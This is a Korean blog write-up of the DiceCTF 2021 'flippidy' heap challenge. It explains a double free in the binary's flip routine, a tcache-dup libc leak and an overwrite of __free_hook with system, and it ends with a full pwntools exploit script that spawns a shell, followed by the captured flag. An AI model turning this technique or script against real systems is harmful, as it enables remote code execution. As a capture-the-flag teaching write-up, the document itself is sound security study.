ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [DiceCTF 2021] flippidy
    CTF/WRITEUP 2021. 2. 6. 20:07

    Disassembly 디스어셈블리


    void main(void)
    {
        init();
        printf("%s", "To get started, first tell us how big your notebook will be: ");
        s = input(); // size of notebook
        heap_address = malloc(s << 3);
        memset(heap_address, 0, s << 3);
        do {
            menu();
            printf(": ");
            iVar1 = input();
            if (iVar1 == 1) add();
            if (ivar1 == 2) flip();
            if (iVar1 == 3) {
                puts("Goodbye!");
                exit(0);
            }
            if (iVar1 < 1 || 3 < ivar1) puts("Invalid choice.");
        } while( true );
    }

    main에서는 add()와 flip()을 원하는 만큼 반복해서 호출할 수 있다.

    void add(void)
    {
        printf("Index: ");
        iVar2 = input();
        if ((iVar2 < 0) || s <= iVar2)) {
            puts("Invalid index.");
        } else {
            puVar1 = heap_address[i]
            uVar3 = malloc(0x30);
            *puVar1 = uVar3;
            printf("Content: ");
            fgets(heap_address[i], 0x30, _reloc.stdin);
        }
        return;
    }

    add()를 호출하면 0x30 크기의 힙을 할당한 뒤 원하는 값으로 조작할 수 있다.

    void filp(void)
    {
        for (int i = 0 ; i <= s / 2 ; i++ ) {
            memset(&tmp, 0, 0x40);
            memset(&src, 0, 0x40);
            bVar3 = heap_address[i] == 0;
            if (!bVar3) {
                uVar2 = heap_address[i];
                strcpy(&tmp, uVar2, uVar2);
                free(heap_address[i]);
            }
            bVar4 = heap_address[s-i-1] == 0;
            if (!bVar4) {
                uVar2 = heap_address[s-i-1];
                strcpy(&src, uVar2, uVar2);
                free(heap_address[s-i-1]);
            }
            heap_address[i] = 0;
            heap_address[s-i-1] = 0;
            if (bVar3) {
                heap_address[s-i-1] = 0;
            } else {
                puVar1 = heap_address[s-i-1];
                uVar2 = malloc(0x30);
                *puVar1 = uVar2;
                strcpy(heap_address[s-i-1], &tmp);
            }
            if (bVar4) {
                heap_address[i] = 0;
            } else {
                puVar1 = heap_address[i];
                uVar2 = malloc(0x30);
                *puVar1 = uVar2;
                strcpy(heap_address[i], &src, &src);
            }
        }
    }

    flip()을 호출하면 $i\leq\lfloor s/2\rfloor$ 인 동안 루프를 돌면서 $i$번과 $s-i-1$번에 저장된 데이터를 서로 바꾼다. 그 과정에서 기존의 힙을 해제한 뒤 새로운 힙을 할당하는 것을 볼 수 있다.

    Double Free


    flip()에서 반복문의 경계조건인 $ i=\lfloor s/2\rfloor $일 때를 생각해 보자. $s$가 짝수라면 $\lfloor s/2\rfloor-1$과 $\lfloor s/2\rfloor$가 한 번 더 바뀌게 되는 결함이 있지만 exploit에는 도움이 되지 않고, $s$가 홀수라면 $\lfloor s/2\rfloor$가 자기 자신과 바뀌는 과정에서 double free가 발생한다.

    Libc version check


    공격을 시도하기에 앞서 라이브러리 버전을 확인해보자. gdb로 확인한 함수의 offset와 대응하는 라이브러리는 2.27 버전이다.

     

    glibc 2.27은 tcache를 사용하고, <2.29에 해당하는 버전은 tcache에 대한 double free 검증이 없기 때문에 위에서 찾아낸 취약점을 활용할 수 있다.

    Tcache dup


     

    RELRO Enabled

    tcache에서 double free가 발생하는 것으로 arbitary address overwrite이 가능해졌지만, 공격을 이어가기 위해서는 라이브러리 주소를 알아내야 한다. 하지만 Full RELRO가 걸려 있어 .got 영역을 수정할 수 없으므로, 함수의 실행 흐름을 조작하는 방법은 쓰지 못한다.

     

    그렇다면 기존에 호출되던 입출력 함수들을 이용해야 한다는 뜻이고, menu()를 살펴보면 단서를 찾을 수 있다.

    void menu(void)
    {
        puts("\n");
        int i = 0;
        while (i < 4) {
            puts(*(undefined8 *)(i * 8 + 0x404020));
            i = i + 1;
        }
        return;
    }

    바이너리를 살펴보면 puts가 출력하는 주소가 쓰기 가능한 영역에 존재함을 확인할 수 있다.

     

    해당 영역을 tcache dup을 이용해 덮어쓰게 되면 .got 영역의 라이브러리 주소를 알아낼 수 있다.

     

    그리고 라이브러리 주소를 알아냈다면, __free_hook을 system으로 덮은 다음 free("/bin/sh)를 호출함으로써 문제를 해결할 수 있다.

     

    Code

    더보기
    from pwn import *
    
    binary = "./flippidy"
    lib = "./libc.so.6"
    server = "dicec.tf"
    port = 31904
    
    # context.log_level = 'debug'
    context.binary = binary
    
    if True:
    	p = remote(server, port)
    else:
    	p = gdb.debug([binary], gdbscript = 'set debug-file-directory ./x86_64-linux-gnu')
    
    e = ELF(binary)
    r = ROP(e)
    l = ELF(lib)
    
    e.checksec()
    
    menu = 0x404020
    exit_got = e.got["exit"]
    
    p.sendlineafter(": ", str(1))
    
    def malloc(idx, data):
    	p.sendlineafter(": ", str(1))
    	p.sendlineafter("Index: ", str(idx))
    	p.sendlineafter("Content: ", data)
    
    def reverse():
    	p.sendlineafter(": ", str(2))
    
    malloc(0, p64(menu))
    
    reverse()
    
    malloc(0, p64(exit_got)*4 + p64(0x404040))
    
    exit = u64(p.recv(8).strip(b'\n').ljust(8, b"\x00"))
    libc = exit - l.symbols["exit"]
    
    log.info("exit : " + hex(exit))
    log.info("libc : " + hex(libc))
    
    free_hook = libc + l.symbols["__free_hook"]
    system = libc + l.symbols["system"]
    
    malloc(0, p64(free_hook))
    malloc(0, p64(0))
    malloc(0, p64(system))
    malloc(0, "/bin/sh\x00")
    
    reverse()
    
    p.interactive()

    Flag

    dice{some_dance_to_remember_some_dance_to_forget_2.27_checks_aff239e1a52cf55cd85c9c16}

    'CTF > WRITEUP' 카테고리의 다른 글

    [DarkCON CTF] Warmup  (0) 2021.02.25
    [DarkCON CTF] Easy-ROP  (0) 2021.02.25
    [DiceCTF 2021] babyrop  (0) 2021.02.06
    [0x41414141 CTF] Babyheap  (0) 2021.02.03
    [0x41414141 CTF] Faking till you're Making  (0) 2021.02.02

    댓글

Designed by Tistory.